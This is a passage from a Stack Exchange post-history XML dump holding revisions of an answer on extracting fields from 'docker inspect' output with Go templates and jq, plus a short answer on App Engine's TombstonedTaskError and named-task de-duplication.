&quot;IOMaximumBandwidth&quot;: 0,&#xD;&#xA;                &quot;MaskedPaths&quot;: [&#xD;&#xA;                    &quot;/proc/acpi&quot;,&#xD;&#xA;                    &quot;/proc/kcore&quot;,&#xD;&#xA;                    &quot;/proc/keys&quot;,&#xD;&#xA;                    &quot;/proc/latency_stats&quot;,&#xD;&#xA;                    &quot;/proc/timer_list&quot;,&#xD;&#xA;                    &quot;/proc/timer_stats&quot;,&#xD;&#xA;                    &quot;/proc/sched_debug&quot;,&#xD;&#xA;                    &quot;/proc/scsi&quot;,&#xD;&#xA;                    &quot;/sys/firmware&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;ReadonlyPaths&quot;: [&#xD;&#xA;                    &quot;/proc/asound&quot;,&#xD;&#xA;                    &quot;/proc/bus&quot;,&#xD;&#xA;                    &quot;/proc/fs&quot;,&#xD;&#xA;                    &quot;/proc/irq&quot;,&#xD;&#xA;                    &quot;/proc/sys&quot;,&#xD;&#xA;                    &quot;/proc/sysrq-trigger&quot;&#xD;&#xA;                ]&#xD;&#xA;            },&#xD;&#xA;            &quot;GraphDriver&quot;: {&#xD;&#xA;                &quot;Data&quot;: null,&#xD;&#xA;                &quot;Name&quot;: &quot;aufs&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Mounts&quot;: [],&#xD;&#xA;            &quot;Config&quot;: {&#xD;&#xA;                &quot;Hostname&quot;: &quot;0470a3549d2f&quot;,&#xD;&#xA;                &quot;Domainname&quot;: &quot;&quot;,&#xD;&#xA;                &quot;User&quot;: &quot;&quot;,&#xD;&#xA;                &quot;AttachStdin&quot;: false,&#xD;&#xA;                &quot;AttachStdout&quot;: false,&#xD;&#xA;                &quot;AttachStderr&quot;: false,&#xD;&#xA;                &quot;Tty&quot;: false,&#xD;&#xA;                &quot;OpenStdin&quot;: false,&#xD;&#xA;                &quot;StdinOnce&quot;: false,&#xD;&#xA;                &quot;Env&quot;: [&#xD;&#xA;                    &quot;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;Cmd&quot;: [&#xD;&#xA;                    &quot;sleep&quot;,&#xD;&#xA;                    &quot;3000&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;Image&quot;: &quot;busybox&quot;,&#xD;&#xA;                &quot;Volumes&quot;: null,&#xD;&#xA;                &quot;WorkingDir&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Entrypoint&quot;: null,&#xD;&#xA;                &quot;OnBuild&quot;: null,&#xD;&#xA;                &quot;Labels&quot;: {}&#xD;&#xA;            },&#xD;&#xA;            &quot;NetworkSettings&quot;: {&#xD;&#xA;                &quot;Bridge&quot;: &quot;&quot;,&#xD;&#xA;                &quot;SandboxID&quot;: &quot;654da638965d9bb26e394ba61036ea713bdccb6304eb09bee86f3c0611a26ca5&quot;,&#xD;&#xA;                &quot;HairpinMode&quot;: false,&#xD;&#xA;                &quot;LinkLocalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                &quot;LinkLocalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                &quot;Ports&quot;: {},&#xD;&#xA;                &quot;SandboxKey&quot;: &quot;/var/run/docker/netns/654da638965d&quot;,&#xD;&#xA;                &quot;SecondaryIPAddresses&quot;: null,&#xD;&#xA;                &quot;SecondaryIPv6Addresses&quot;: null,&#xD;&#xA;                &quot;EndpointID&quot;: &quot;c69ef9cb870a3c477105c7bc19e370683886e4e3c62fac8444d3e1e097551250&quot;,&#xD;&#xA;                &quot;Gateway&quot;: &quot;172.17.0.1&quot;,&#xD;&#xA;                &quot;GlobalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                &quot;GlobalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                &quot;IPAddress&quot;: &quot;172.17.0.3&quot;,&#xD;&#xA;                &quot;IPPrefixLen&quot;: 16,&#xD;&#xA;                &quot;IPv6Gateway&quot;: &quot;&quot;,&#xD;&#xA;                &quot;MacAddress&quot;: &quot;02:42:ac:11:00:03&quot;,&#xD;&#xA;                &quot;Networks&quot;: {&#xD;&#xA;                    &quot;bridge&quot;: {&#xD;&#xA;                        &quot;IPAMConfig&quot;: null,&#xD;&#xA;                        &quot;Links&quot;: null,&#xD;&#xA;                        &quot;Aliases&quot;: null,&#xD;&#xA;                        &quot;NetworkID&quot;: &quot;5ec8728b05efd5ce6bfde5cbe6e42f247348345e0fdfb305fda76566327fc151&quot;,&#xD;&#xA;                        &quot;EndpointID&quot;: &quot;c69ef9cb870a3c477105c7bc19e370683886e4e3c62fac8444d3e1e097551250&quot;,&#xD;&#xA;                        &quot;Gateway&quot;: &quot;172.17.0.1&quot;,&#xD;&#xA;                        &quot;IPAddress&quot;: &quot;172.17.0.3&quot;,&#xD;&#xA;                        &quot;IPPrefixLen&quot;: 16,&#xD;&#xA;                        &quot;IPv6Gateway&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;GlobalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;GlobalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                        &quot;MacAddress&quot;: &quot;02:42:ac:11:00:03&quot;,&#xD;&#xA;                        &quot;DriverOpts&quot;: null&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;## Returning scalar properties&#xD;&#xA;&#xD;&#xA;You can query any scalar attribute by its name, prefixed by a dot:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.Id}}&#xD;&#xA;    0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.Name}} {{.Driver}}'&#xD;&#xA;    /vibrant_shaw aufs&#xD;&#xA;&#xD;&#xA;    # jq notation&#xD;&#xA;    sh$ sudo docker inspect $CID | jq '.[].Id'&#xD;&#xA;    &quot;0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967&quot;&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID | jq '.[]|(.Name,.Driver)'&#xD;&#xA;    &quot;/vibrant_shaw&quot;&#xD;&#xA;    &quot;aufs&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can also query nested fields:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.State.Running}}'&#xD;&#xA;    true&#xD;&#xA;&#xD;&#xA;    # jq notation&#xD;&#xA;    sudo docker inspect $CID | jq '.[].State.Running'&#xD;&#xA;    true&#xD;&#xA;&#xD;&#xA;## Returning entire objects and arrays&#xD;&#xA;&#xD;&#xA;But it does not work as expected for nested structures:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.State}}'&#xD;&#xA;    {running true false false false false 26467 0  2019-02-05T16:41:40.659056612Z 0001-01-01T00:00:00Z &lt;nil&gt;}&#xD;&#xA;&#xD;&#xA;You end up having the data, but without the field names, it is pretty useless--unless you are assuming some predefined field order (something that is probably not safe).&#xD;&#xA;&#xD;&#xA;When accessing entire objects, there are chances you want an [explicit formatter](https://docs.docker.com/config/formatting/):&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{json .State}}'&#xD;&#xA;    {&quot;Status&quot;:&quot;running&quot;,&quot;Running&quot;:true,&quot;Paused&quot;:false,&quot;Restarting&quot;:false,&quot;OOMKilled&quot;:false,&quot;Dead&quot;:false,&quot;Pid&quot;:26467,&quot;ExitCode&quot;:0,&quot;Error&quot;:&quot;&quot;,&quot;StartedAt&quot;:&quot;2019-02-05T16:41:40.659056612Z&quot;,&quot;FinishedAt&quot;:&quot;0001-01-01T00:00:00Z&quot;}&#xD;&#xA;&#xD;&#xA;    # jq notation&#xD;&#xA;    sh$ sudo docker inspect $CID | jq '.[].State'&#xD;&#xA;    {&#xD;&#xA;      &quot;Status&quot;: &quot;running&quot;,&#xD;&#xA;      &quot;Running&quot;: true,&#xD;&#xA;      &quot;Paused&quot;: false,&#xD;&#xA;      &quot;Restarting&quot;: false,&#xD;&#xA;      &quot;OOMKilled&quot;: false,&#xD;&#xA;      &quot;Dead&quot;: false,&#xD;&#xA;      &quot;Pid&quot;: 26467,&#xD;&#xA;      &quot;ExitCode&quot;: 0,&#xD;&#xA;      &quot;Error&quot;: &quot;&quot;,&#xD;&#xA;      &quot;StartedAt&quot;: &quot;2019-02-05T16:41:40.659056612Z&quot;,&#xD;&#xA;      &quot;FinishedAt&quot;: &quot;0001-01-01T00:00:00Z&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Same thing for arrays:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.HostConfig.ReadonlyPaths}}'&#xD;&#xA;    [/proc/asound /proc/bus /proc/fs /proc/irq /proc/sys /proc/sysrq-trigger]&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{json .HostConfig.ReadonlyPaths}}'&#xD;&#xA;    [&quot;/proc/asound&quot;,&quot;/proc/bus&quot;,&quot;/proc/fs&quot;,&quot;/proc/irq&quot;,&quot;/proc/sys&quot;,&quot;/proc/sysrq-trigger&quot;]&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{join .HostConfig.ReadonlyPaths &quot;:&quot;}}'&#xD;&#xA;    /proc/asound:/proc/bus:/proc/fs:/proc/irq:/proc/sys:/proc/sysrq-trigger&#xD;&#xA;&#xD;&#xA;    # jq notation&#xD;&#xA;    sh$ sudo docker inspect $CID | jq '.[].HostConfig.ReadonlyPaths'&#xD;&#xA;    [&#xD;&#xA;      &quot;/proc/asound&quot;,&#xD;&#xA;      &quot;/proc/bus&quot;,&#xD;&#xA;      &quot;/proc/fs&quot;,&#xD;&#xA;      &quot;/proc/irq&quot;,&#xD;&#xA;      &quot;/proc/sys&quot;,&#xD;&#xA;      &quot;/proc/sysrq-trigger&quot;&#xD;&#xA;    ]&#xD;&#xA;    sh$ sudo docker inspect $CID | jq '.[].HostConfig.ReadonlyPaths | join(&quot;:&quot;)'&#xD;&#xA;    &quot;/proc/asound:/proc/bus:/proc/fs:/proc/irq:/proc/sys:/proc/sysrq-trigger&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## Arrays of objects&#xD;&#xA;&#xD;&#xA;More complicated (according to my limited Go Template skills) is accessing fields nested in an array of objects:&#xD;&#xA;&#xD;&#xA;    # This works as expected&#xD;&#xA;    sh$ sudo docker network inspect bridge --format '{{json .IPAM.Config}}'&#xD;&#xA;    [{&quot;Subnet&quot;:&quot;172.17.0.0/16&quot;,&quot;Gateway&quot;:&quot;172.17.0.1&quot;}]&#xD;&#xA;&#xD;&#xA;    # But not that&#xD;&#xA;    sudo docker network inspect bridge --format '{{.IPAM.Config.Gateway}}'&#xD;&#xA;    &#xD;&#xA;    Template parsing error: template: :1:7: executing &quot;&quot; at &lt;.IPAM.Config.Gateway&gt;: can't evaluate field Gateway in type interface {}&#xD;&#xA;&#xD;&#xA;When I want to extract such nested value, I resort on an explicit range loop:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker network inspect bridge --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}'&#xD;&#xA;    172.17.0.1&#xD;&#xA;&#xD;&#xA;    # jq notation&#xD;&#xA;    sh$ sudo docker network inspect bridge | jq '.[].IPAM.Config[].Gateway'&#xD;&#xA;    &quot;172.17.0.1&quot;&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker network inspect bridge | jq -r '.[].IPAM.Config[].Gateway'&#xD;&#xA;    172.17.0.1&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19954" PostHistoryTypeId="5" PostId="6239" RevisionGUID="cdc0a763-fae1-4847-b672-b989ec4010f6" CreationDate="2019-02-05T18:28:54.240" UserId="47" Comment="deleted 3 characters in body" Text=" `TombstonedTaskError` is raised if you're attempting to enqueue a named task using a name that has been used recently, see [What is TombstonedTaskError from App Engine's Task Queue?][1].&#xD;&#xA;&#xD;&#xA;The duration of the de-duplication logic has been documented since that answer was posted. From [Naming a task][2] (emphasis mine):&#xD;&#xA;&#xD;&#xA;&gt; When you create a new task, App Engine assigns the task a unique name&#xD;&#xA;&gt; by default. However, you can assign your own name to a task by using&#xD;&#xA;&gt; the name parameter. An advantage of assigning your own task names is&#xD;&#xA;&gt; that named tasks are de-duplicated, which means you can use task names&#xD;&#xA;&gt; to guarantee that a task is only added once. **De-duplication&#xD;&#xA;&gt; continues for 9 days after the task is completed or deleted**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/1102660/4495081&#xD;&#xA;  [2]: https://cloud.google.com/appengine/docs/standard/python/taskqueue/push/creating-tasks#naming_a_task" ContentLicense="CC BY-SA 4.0" />
  <row Id="19958" PostHistoryTypeId="5" PostId="6242" RevisionGUID="13285bba-54b7-46d5-8f95-e7926cc071ce" CreationDate="2019-02-05T19:42:57.743" UserId="11179" Comment="added 1976 characters in body" Text="I take the risk of being downvoted here, but I find Go templates a nightmare to use beyond the most basic use cases. Don't take me wrong: they are extremely powerful as you can guess it by [reading the docs](https://golang.org/pkg/text/template/), but I find the syntax unfriendly, and for the most complex cases, I prefer parsing the JSON output with [`jq`](https://stedolan.github.io/jq/). Anyway:&#xD;&#xA;&#xD;&#xA;# Formatting `expect` commands&#xD;&#xA;&#xD;&#xA;    sho$ CID=$(sudo docker run --rm -d busybox sleep 3000)                                                                                         &#xD;&#xA;    sh$ sudo docker inspect $CID&#xD;&#xA;    [&#xD;&#xA;        {&#xD;&#xA;            &quot;Id&quot;: &quot;0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967&quot;,&#xD;&#xA;            &quot;Created&quot;: &quot;2019-02-05T16:41:40.040349047Z&quot;,&#xD;&#xA;            &quot;Path&quot;: &quot;sleep&quot;,&#xD;&#xA;            &quot;Args&quot;: [&#xD;&#xA;                &quot;3000&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;State&quot;: {&#xD;&#xA;                &quot;Status&quot;: &quot;running&quot;,&#xD;&#xA;                &quot;Running&quot;: true,&#xD;&#xA;                &quot;Paused&quot;: false,&#xD;&#xA;                &quot;Restarting&quot;: false,&#xD;&#xA;                &quot;OOMKilled&quot;: false,&#xD;&#xA;                &quot;Dead&quot;: false,&#xD;&#xA;                &quot;Pid&quot;: 26467,&#xD;&#xA;                &quot;ExitCode&quot;: 0,&#xD;&#xA;                &quot;Error&quot;: &quot;&quot;,&#xD;&#xA;                &quot;StartedAt&quot;: &quot;2019-02-05T16:41:40.659056612Z&quot;,&#xD;&#xA;                &quot;FinishedAt&quot;: &quot;0001-01-01T00:00:00Z&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Image&quot;: &quot;sha256:3a093384ac306cbac30b67f1585e12b30ab1a899374dabc3170b9bca246f1444&quot;,&#xD;&#xA;            &quot;ResolvConfPath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/resolv.conf&quot;,&#xD;&#xA;            &quot;HostnamePath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/hostname&quot;,&#xD;&#xA;            &quot;HostsPath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/hosts&quot;,&#xD;&#xA;            &quot;LogPath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967-json.log&quot;,&#xD;&#xA;            &quot;Name&quot;: &quot;/vibrant_shaw&quot;,&#xD;&#xA;            &quot;RestartCount&quot;: 0,&#xD;&#xA;            &quot;Driver&quot;: &quot;aufs&quot;,&#xD;&#xA;            &quot;Platform&quot;: &quot;linux&quot;,&#xD;&#xA;            &quot;MountLabel&quot;: &quot;&quot;,&#xD;&#xA;            &quot;ProcessLabel&quot;: &quot;&quot;,&#xD;&#xA;            &quot;AppArmorProfile&quot;: &quot;docker-default&quot;,&#xD;&#xA;            &quot;ExecIDs&quot;: null,&#xD;&#xA;            &quot;HostConfig&quot;: {&#xD;&#xA;                &quot;Binds&quot;: null,&#xD;&#xA;                &quot;ContainerIDFile&quot;: &quot;&quot;,&#xD;&#xA;               &quot;LogConfig&quot;: {&#xD;&#xA;                    &quot;Type&quot;: &quot;json-file&quot;,&#xD;&#xA;                    &quot;Config&quot;: {}&#xD;&#xA;                },&#xD;&#xA;                &quot;NetworkMode&quot;: &quot;default&quot;,&#xD;&#xA;                &quot;PortBindings&quot;: {},&#xD;&#xA;                &quot;RestartPolicy&quot;: {&#xD;&#xA;                    &quot;Name&quot;: &quot;no&quot;,&#xD;&#xA;                    &quot;MaximumRetryCount&quot;: 0&#xD;&#xA;                },&#xD;&#xA;                &quot;AutoRemove&quot;: true,&#xD;&#xA;                &quot;VolumeDriver&quot;: &quot;&quot;,&#xD;&#xA;                &quot;VolumesFrom&quot;: null,&#xD;&#xA;                &quot;CapAdd&quot;: null,&#xD;&#xA;                &quot;CapDrop&quot;: null,&#xD;&#xA;                &quot;Dns&quot;: [],&#xD;&#xA;                &quot;DnsOptions&quot;: [],&#xD;&#xA;                &quot;DnsSearch&quot;: [],&#xD;&#xA;                &quot;ExtraHosts&quot;: null,&#xD;&#xA;                &quot;GroupAdd&quot;: null,&#xD;&#xA;                &quot;IpcMode&quot;: &quot;shareable&quot;,&#xD;&#xA;                &quot;Cgroup&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Links&quot;: null,&#xD;&#xA;                &quot;OomScoreAdj&quot;: 0,&#xD;&#xA;                &quot;PidMode&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Privileged&quot;: false,&#xD;&#xA;                &quot;PublishAllPorts&quot;: false,&#xD;&#xA;                &quot;ReadonlyRootfs&quot;: false,&#xD;&#xA;                &quot;SecurityOpt&quot;: null,&#xD;&#xA;                &quot;UTSMode&quot;: &quot;&quot;,&#xD;&#xA;                &quot;UsernsMode&quot;: &quot;&quot;,&#xD;&#xA;                &quot;ShmSize&quot;: 67108864,&#xD;&#xA;                &quot;Runtime&quot;: &quot;runc&quot;,&#xD;&#xA;                &quot;ConsoleSize&quot;: [&#xD;&#xA;                    0,&#xD;&#xA;                    0&#xD;&#xA;                ],&#xD;&#xA;                &quot;Isolation&quot;: &quot;&quot;,&#xD;&#xA;                &quot;CpuShares&quot;: 0,&#xD;&#xA;                &quot;Memory&quot;: 0,&#xD;&#xA;                &quot;NanoCpus&quot;: 0,&#xD;&#xA;                &quot;CgroupParent&quot;: &quot;&quot;,&#xD;&#xA;                &quot;BlkioWeight&quot;: 0,&#xD;&#xA;                &quot;BlkioWeightDevice&quot;: [],&#xD;&#xA;                &quot;BlkioDeviceReadBps&quot;: null,&#xD;&#xA;                &quot;BlkioDeviceWriteBps&quot;: null,&#xD;&#xA;                &quot;BlkioDeviceReadIOps&quot;: null,&#xD;&#xA;                &quot;BlkioDeviceWriteIOps&quot;: null,&#xD;&#xA;                &quot;CpuPeriod&quot;: 0,&#xD;&#xA;                &quot;CpuQuota&quot;: 0,&#xD;&#xA;                &quot;CpuRealtimePeriod&quot;: 0,&#xD;&#xA;                &quot;CpuRealtimeRuntime&quot;: 0,&#xD;&#xA;                &quot;CpusetCpus&quot;: &quot;&quot;,&#xD;&#xA;                &quot;CpusetMems&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Devices&quot;: [],&#xD;&#xA;                &quot;DeviceCgroupRules&quot;: null,&#xD;&#xA;                &quot;DiskQuota&quot;: 0,&#xD;&#xA;                &quot;KernelMemory&quot;: 0,&#xD;&#xA;                &quot;MemoryReservation&quot;: 0,&#xD;&#xA;                &quot;MemorySwap&quot;: 0,&#xD;&#xA;                &quot;MemorySwappiness&quot;: null,&#xD;&#xA;                &quot;OomKillDisable&quot;: false,&#xD;&#xA;                &quot;PidsLimit&quot;: 0,&#xD;&#xA;                &quot;Ulimits&quot;: null,&#xD;&#xA;                &quot;CpuCount&quot;: 0,&#xD;&#xA;                &quot;CpuPercent&quot;: 0,&#xD;&#xA;                &quot;IOMaximumIOps&quot;: 0,&#xD;&#xA;                &quot;IOMaximumBandwidth&quot;: 0,&#xD;&#xA;                &quot;MaskedPaths&quot;: [&#xD;&#xA;                    &quot;/proc/acpi&quot;,&#xD;&#xA;                    &quot;/proc/kcore&quot;,&#xD;&#xA;                    &quot;/proc/keys&quot;,&#xD;&#xA;                    &quot;/proc/latency_stats&quot;,&#xD;&#xA;                    &quot;/proc/timer_list&quot;,&#xD;&#xA;                    &quot;/proc/timer_stats&quot;,&#xD;&#xA;                    &quot;/proc/sched_debug&quot;,&#xD;&#xA;                    &quot;/proc/scsi&quot;,&#xD;&#xA;                    &quot;/sys/firmware&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;ReadonlyPaths&quot;: [&#xD;&#xA;                    &quot;/proc/asound&quot;,&#xD;&#xA;                    &quot;/proc/bus&quot;,&#xD;&#xA;                    &quot;/proc/fs&quot;,&#xD;&#xA;                    &quot;/proc/irq&quot;,&#xD;&#xA;                    &quot;/proc/sys&quot;,&#xD;&#xA;                    &quot;/proc/sysrq-trigger&quot;&#xD;&#xA;                ]&#xD;&#xA;            },&#xD;&#xA;            &quot;GraphDriver&quot;: {&#xD;&#xA;                &quot;Data&quot;: null,&#xD;&#xA;                &quot;Name&quot;: &quot;aufs&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Mounts&quot;: [],&#xD;&#xA;            &quot;Config&quot;: {&#xD;&#xA;                &quot;Hostname&quot;: &quot;0470a3549d2f&quot;,&#xD;&#xA;                &quot;Domainname&quot;: &quot;&quot;,&#xD;&#xA;                &quot;User&quot;: &quot;&quot;,&#xD;&#xA;                &quot;AttachStdin&quot;: false,&#xD;&#xA;                &quot;AttachStdout&quot;: false,&#xD;&#xA;                &quot;AttachStderr&quot;: false,&#xD;&#xA;                &quot;Tty&quot;: false,&#xD;&#xA;                &quot;OpenStdin&quot;: false,&#xD;&#xA;                &quot;StdinOnce&quot;: false,&#xD;&#xA;                &quot;Env&quot;: [&#xD;&#xA;                    &quot;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;Cmd&quot;: [&#xD;&#xA;                    &quot;sleep&quot;,&#xD;&#xA;                    &quot;3000&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;Image&quot;: &quot;busybox&quot;,&#xD;&#xA;                &quot;Volumes&quot;: null,&#xD;&#xA;                &quot;WorkingDir&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Entrypoint&quot;: null,&#xD;&#xA;                &quot;OnBuild&quot;: null,&#xD;&#xA;                &quot;Labels&quot;: {}&#xD;&#xA;            },&#xD;&#xA;            &quot;NetworkSettings&quot;: {&#xD;&#xA;                &quot;Bridge&quot;: &quot;&quot;,&#xD;&#xA;                &quot;SandboxID&quot;: &quot;654da638965d9bb26e394ba61036ea713bdccb6304eb09bee86f3c0611a26ca5&quot;,&#xD;&#xA;                &quot;HairpinMode&quot;: false,&#xD;&#xA;                &quot;LinkLocalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                &quot;LinkLocalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                &quot;Ports&quot;: {},&#xD;&#xA;                &quot;SandboxKey&quot;: &quot;/var/run/docker/netns/654da638965d&quot;,&#xD;&#xA;                &quot;SecondaryIPAddresses&quot;: null,&#xD;&#xA;                &quot;SecondaryIPv6Addresses&quot;: null,&#xD;&#xA;                &quot;EndpointID&quot;: &quot;c69ef9cb870a3c477105c7bc19e370683886e4e3c62fac8444d3e1e097551250&quot;,&#xD;&#xA;                &quot;Gateway&quot;: &quot;172.17.0.1&quot;,&#xD;&#xA;                &quot;GlobalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                &quot;GlobalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                &quot;IPAddress&quot;: &quot;172.17.0.3&quot;,&#xD;&#xA;                &quot;IPPrefixLen&quot;: 16,&#xD;&#xA;                &quot;IPv6Gateway&quot;: &quot;&quot;,&#xD;&#xA;                &quot;MacAddress&quot;: &quot;02:42:ac:11:00:03&quot;,&#xD;&#xA;                &quot;Networks&quot;: {&#xD;&#xA;                    &quot;bridge&quot;: {&#xD;&#xA;                        &quot;IPAMConfig&quot;: null,&#xD;&#xA;                        &quot;Links&quot;: null,&#xD;&#xA;                        &quot;Aliases&quot;: null,&#xD;&#xA;                        &quot;NetworkID&quot;: &quot;5ec8728b05efd5ce6bfde5cbe6e42f247348345e0fdfb305fda76566327fc151&quot;,&#xD;&#xA;                        &quot;EndpointID&quot;: &quot;c69ef9cb870a3c477105c7bc19e370683886e4e3c62fac8444d3e1e097551250&quot;,&#xD;&#xA;                        &quot;Gateway&quot;: &quot;172.17.0.1&quot;,&#xD;&#xA;                        &quot;IPAddress&quot;: &quot;172.17.0.3&quot;,&#xD;&#xA;                        &quot;IPPrefixLen&quot;: 16,&#xD;&#xA;                        &quot;IPv6Gateway&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;GlobalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;GlobalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                        &quot;MacAddress&quot;: &quot;02:42:ac:11:00:03&quot;,&#xD;&#xA;                        &quot;DriverOpts&quot;: null&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;## Returning scalar properties&#xD;&#xA;&#xD;&#xA;You can query any scalar attribute by its name, prefixed by a dot:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.Id}}&#xD;&#xA;    0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.Name}} {{.Driver}}'&#xD;&#xA;    /vibrant_shaw aufs&#xD;&#xA;&#xD;&#xA;    # jq notation&#xD;&#xA;    sh$ sudo docker inspect $CID | jq '.[].Id'&#xD;&#xA;    &quot;0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967&quot;&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID | jq '.[]|(.Name,.Driver)'&#xD;&#xA;    &quot;/vibrant_shaw&quot;&#xD;&#xA;    &quot;aufs&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can also query nested fields:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.State.Running}}'&#xD;&#xA;    true&#xD;&#xA;&#xD;&#xA;    # jq notation&#xD;&#xA;    sudo docker inspect $CID | jq '.[].State.Running'&#xD;&#xA;    true&#xD;&#xA;&#xD;&#xA;## Returning entire objects and arrays&#xD;&#xA;&#xD;&#xA;But it does not work as expected for nested structures:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.State}}'&#xD;&#xA;    {running true false false false false 26467 0  2019-02-05T16:41:40.659056612Z 0001-01-01T00:00:00Z &lt;nil&gt;}&#xD;&#xA;&#xD;&#xA;You end up having the data, but without the field names, it is pretty useless--unless you are assuming some predefined field order (something that is probably not safe).&#xD;&#xA;&#xD;&#xA;When accessing entire objects, there are chances you want an [explicit formatter](https://docs.docker.com/config/formatting/):&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{json .State}}'&#xD;&#xA;    {&quot;Status&quot;:&quot;running&quot;,&quot;Running&quot;:true,&quot;Paused&quot;:false,&quot;Restarting&quot;:false,&quot;OOMKilled&quot;:false,&quot;Dead&quot;:false,&quot;Pid&quot;:26467,&quot;ExitCode&quot;:0,&quot;Error&quot;:&quot;&quot;,&quot;StartedAt&quot;:&quot;2019-02-05T16:41:40.659056612Z&quot;,&quot;FinishedAt&quot;:&quot;0001-01-01T00:00:00Z&quot;}&#xD;&#xA;&#xD;&#xA;    # jq notation&#xD;&#xA;    sh$ sudo docker inspect $CID | jq '.[].State'&#xD;&#xA;    {&#xD;&#xA;      &quot;Status&quot;: &quot;running&quot;,&#xD;&#xA;      &quot;Running&quot;: true,&#xD;&#xA;      &quot;Paused&quot;: false,&#xD;&#xA;      &quot;Restarting&quot;: false,&#xD;&#xA;      &quot;OOMKilled&quot;: false,&#xD;&#xA;      &quot;Dead&quot;: false,&#xD;&#xA;      &quot;Pid&quot;: 26467,&#xD;&#xA;      &quot;ExitCode&quot;: 0,&#xD;&#xA;      &quot;Error&quot;: &quot;&quot;,&#xD;&#xA;      &quot;StartedAt&quot;: &quot;2019-02-05T16:41:40.659056612Z&quot;,&#xD;&#xA;      &quot;FinishedAt&quot;: &quot;0001-01-01T00:00:00Z&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Same thing for arrays:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.HostConfig.ReadonlyPaths}}'&#xD;&#xA;    [/proc/asound /proc/bus /proc/fs /proc/irq /proc/sys /proc/sysrq-trigger]&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{json .HostConfig.ReadonlyPaths}}'&#xD;&#xA;    